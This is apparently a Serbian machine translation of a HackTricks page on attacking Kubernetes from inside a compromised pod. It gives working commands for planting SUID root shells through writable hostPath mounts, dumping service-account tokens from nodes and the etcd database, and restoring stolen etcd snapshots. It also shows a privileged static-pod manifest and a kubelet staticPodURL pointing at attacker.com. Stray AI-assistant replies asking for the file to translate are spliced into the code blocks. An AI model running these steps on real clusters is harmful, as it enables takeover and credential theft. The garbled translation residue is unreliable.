Napad na Kubernetes iz Pod-a
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pod Breakout
Ako imate dovoljno sreće, možda ćete moći da pobegnete iz njega na node:

Bekstvo iz pod-a
Da biste pokušali da pobegnete iz pod-ova, možda ćete prvo morati da escalate privileges; neke tehnike za to su:
Linux Privilege Escalation - HackTricks
Možete proveriti ove docker breakouts to try to escape koje možete iskoristiti da pobegnete iz kompromitovanog pod-a:
Docker Breakout / Privilege Escalation - HackTricks
Zloupotreba upisivih hostPath/bind mounts (container -> host root via SUID planting)
Ako kompromitovani pod/container ima upisivi volumen koji se mapira direktno na host filesystem (Kubernetes hostPath ili Docker bind mount), i ako možete postati root unutar containera, možete iskoristiti mount da kreirate setuid-root binary na hostu i potom ga izvršite sa hosta da biste dobili root.
Ključni uslovi:
- Montirani volumen je upisiv iz unutrašnjosti containera (readOnly: false i filesystem permissions omogućavaju pisanje).
- Host filesystem koji stoji iza mount-a nije mount-ovan sa opcijom nosuid.
- Imate neki način da izvršite postavljeni binary na hostu (na primer, poseban SSH/RCE na hostu, korisnik na hostu može da ga izvrši, ili neki drugi vektor koji pokreće binarne fajlove iz tog puta).
Kako identifikovati upisive hostPath/bind mounts:
- Sa kubectl-om, proverite hostPath volumes: kubectl get pod
-o jsonpath=‘{.spec.volumes[*].hostPath.path}’ - Iz containera, listajte mount-ove i tražite host-path mount-ove i testirajte da li su upisivi:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Postavite setuid root binary iz kontejnera:
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Izvrši na hostu da dobiješ root:
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Proverite opcije mount-a na hostu (cat /proc/mounts | grep
) i tražite nosuid. - If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Izvodljivost zavisi u potpunosti od toga koja putanja je mount-ovana.
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
Abusing Kubernetes Privileges
Kao što je objašnjeno u sekciji o kubernetes enumeration:
Obično se podovi pokreću sa service account token unutar njih. Taj service account može imati određene privilegije vezane za njega koje možete zloupotrebiti da se premestite u druge podove ili čak da pobegnete na node-ove konfigurisane u okviru klastera. Pogledajte kako u:
Abusing Roles/ClusterRoles in Kubernetes
Abusing Cloud Privileges
Ako se pod pokreće unutar cloud environment možda ćete moći leak a token from the metadata endpoint i eskalirati privilegije koristeći ga.
Search vulnerable network services
Pošto ste unutar Kubernetes okruženja, ako ne možete da eskalirate privilegije zloupotrebljavajući postojeće privilegije podova i ne možete da pobegnete iz kontejnera, treba da pretražite potencijalno ranjive servise.
Services
Za ovu svrhu, možete pokušati da dobijete sve servise kubernetes okruženja:
kubectl get svc --all-namespaces
Podrazumevano, Kubernetes koristi ravnu mrežnu šemu, što znači da bilo koji pod/service unutar klastera može da komunicira sa ostalima. Namespaces unutar klastera po podrazumevanju nemaju nikakva mrežna bezbednosna ograničenja. Bilo ko u namespace-u može da komunicira sa drugim namespaces-ima.
Skeniranje
Sledeći Bash script (preuzet sa Kubernetes workshop) će instalirati i skenirati IP opsege Kubernetes klastera:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Pogledajte sledeću stranicu da saznate kako možete attack Kubernetes specific services da compromise other pods/all the environment:
Pentesting Kubernetes Services
Sniffing
U slučaju da compromised pod is running some sensitive service gde drugi podovi treba da se autentifikuju, možda ćete moći da dobijete kredencijale koje drugi podovi šalju sniffing local communications.
Network Spoofing
Po defaultu tehnike poput ARP spoofing (i zahvaljujući tome DNS Spoofing) rade u kubernetes network. Zatim, unutar poda, ako imate NET_RAW capability (koja je tamo po defaultu), bićete u mogućnosti da šaljete custom crafted network packets i izvodite MitM attacks via ARP Spoofing to all the pods running in the same node.
Pored toga, ako se malicious pod pokreće na same node as the DNS Server, bićete u mogućnosti da izvedete DNS Spoofing attack to all the pods in cluster.
Node DoS
Ne postoji specificiranje resursa u Kubernetes manifestima i not applied limit ranges za kontejnere. Kao napadač, možemo consume all the resources where the pod/deployment running i oskudećiti ostale resurse i prouzrokovati DoS za okolinu.
Ovo se može uraditi alatkom kao što je stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Možete videti razliku između stanja dok stress-ng radi i nakon toga
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Post-eksploatacija čvora
Ako si uspeo da pobegneš iz kontejnera postoji nekoliko interesantnih stvari koje ćeš naći na čvoru:
- Proces Container Runtime (Docker)
- Više pods/containers koji rade na čvoru koje možeš zloupotrebiti kao ovaj (više tokena)
- Ceo filesystem i OS generalno
- Servis Kube-Proxy koji osluškuje
- Servis Kubelet koji osluškuje. Proveri konfiguracione fajlove:
- Directory:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf–>kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Ostale uobičajene kubernetes datoteke:
$HOME/.kube/config- Korisnička konfiguracija/etc/kubernetes/kubelet.conf- Obična konfiguracija/etc/kubernetes/bootstrap-kubelet.conf- Bootstrap konfiguracija/etc/kubernetes/manifests/etcd.yaml- etcd konfiguracija/etc/kubernetes/pki- Kubernetes ključ
Pronađi kubeconfig čvora
Ako ne možeš da pronađeš kubeconfig fajl u nekoj od prethodno navedenih putanja, proveri argument --kubeconfig procesa kubelet:
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Ukradi tajne
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
Skript can-they.sh će automatski preuzeti tokens drugih pods i proveriti da li imaju dozvolu koju tražite (umesto da to radite jedan po jedan):
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
Privilegovani DaemonSets
A DaemonSet je pod koji će biti pokrenut na svim čvorovima klastera. Dakle, ako je DaemonSet konfigurisan sa privileged service account, u SVIM čvorovima moći ćete da pronađete token tog privileged service account koji možete zloupotrebiti.
Exploit je isti kao u prethodnom odeljku, ali sada ne zavisite od sreće.
Pivot ka Cloudu
Ako je klaster upravljan od strane cloud servisa, obično Node ima drugačiji pristup metadata endpointu nego Pod. Stoga pokušajte da pristupite metadata endpointu sa Node-a (ili iz poda sa hostNetwork postavljenim na True):
Krađa etcd
Ako možete da navedete nodeName Node-a koji će pokrenuti container, dobijte shell unutar control-plane Node-a i pribavite etcd database:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane čvorovi imaju ulogu master i u cloud managed klasterima nećete moći da pokrenete ništa na njima.
Read secrets from etcd 1
Ako možete da pokrenete svoj pod na control-plane čvoru koristeći nodeName selektor u pod specu, možda ćete lako imati pristup etcd bazi podataka, koja sadrži svu konfiguraciju klastera, uključujući sve secrets.
Ispod je brz i prljav način da dohvatite secrets iz etcd ako je pokrenut na control-plane čvoru na kojem se nalazite. Ako želite elegantnije rešenje koje podiže pod sa etcd client utility etcdctl i koristi kredencijale control-plane čvora da se poveže na etcd gde god da se pokreće, pogledajte this example manifest od @mauilion.
Proverite da li je etcd pokrenut na control-plane čvoru i gde se nalazi baza podataka (Ovo je na klasteru kreiranom pomoću kubeadm)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Niste priložili sadržaj za prevođenje. Molim vas pošaljite tekst iz fajla src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md koji želite da prevedem na srpski.
data-dir=/var/lib/etcd
Prikaži podatke u etcd bazi podataka:
strings /var/lib/etcd/member/snap/db | less
Ekstrahujte tokens iz baze podataka i prikažite service account name
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Ista komanda, ali uz nekoliko greps-a koji vraćaju samo default token u namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
I don’t have the file contents. Please paste the markdown text from src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md that you want translated to Serbian, and I’ll translate it while preserving all markdown/html tags, links, paths and code.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Pročitajte tajne iz etcd 2 from here
- Napravite snapshot
etcdbaze podataka. Check this script for further info. - Prebacite snapshot
etcdiz čvora na način koji vam najviše odgovara. - Otpakujte bazu podataka:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Pokrenite
etcdna vašoj lokalnoj mašini i naterajte ga da koristi ukradeni snapshot:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Navedi sve Secrets:
etcdctl get "" --prefix --keys-only | grep secret
- Preuzmite tajne:
etcdctl get /registry/secrets/default/my-secret
Perzistencija Static/Mirrored Pods
Static Pods se upravljaju direktno od strane kubelet daemona na određenom čvoru, bez nadzora API servera. Za razliku od Pods koje upravlja control plane (na primer, Deployment); umesto toga, kubelet watches each static Pod (i restartuje ga ako zakaže).
Dakle, static Pods su uvek bound to one Kubelet na određenom čvoru.
kubelet automatically tries to create a mirror Pod on the Kubernetes API server za svaki static Pod. To znači da su Pods koji rade na čvoru vidljivi na API serveru, ali ih odatle nije moguće kontrolisati. Imena Pod-ova će imati sufiks sa hostname-om čvora, sa vodećom crticom.
Caution
The
specof a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
Ako se nalazite unutar hosta čvora, možete ga naterati da kreira static pod inside itself. Ovo je prilično korisno jer vam može omogućiti da create a pod in a different namespace kao što je kube-system.
Da biste kreirali static pod, docs are a great help. U suštini su vam potrebne 2 stvari:
- Podesite parametar
--pod-manifest-path=/etc/kubernetes/manifestsu kubelet service, ili u kubelet config (staticPodPath) i restartujte servis - Kreirajte definiciju, tj. pod definition u
/etc/kubernetes/manifests
Drugi, diskretniji način bi bio:
- Izmenite parametar
staticPodURLu konfiguracionom fajlu kubelet i postavite nešto poputstaticPodURL: http://attacker.com:8765/pod.yaml. Ovo će naterati kubelet proces da kreira static pod preuzimajući configuration from the indicated URL.
Primer konfiguracije pod-a za kreiranje privilegovanog poda u kube-system preuzeto sa here:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Delete pods + unschedulable nodes
Ako napadač ima compromised a node i može da delete pods sa drugih nodes i make other nodes not able to execute pods, pods će biti ponovo pokrenuti na compromised node i on će moći da steal the tokens koji se u njima izvršavaju.
For more info follow this links.
Automatski alati
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Reference
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preserve privileges)
- mount(8) nosuid option
- Peirates (Kubernetes attack tool)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

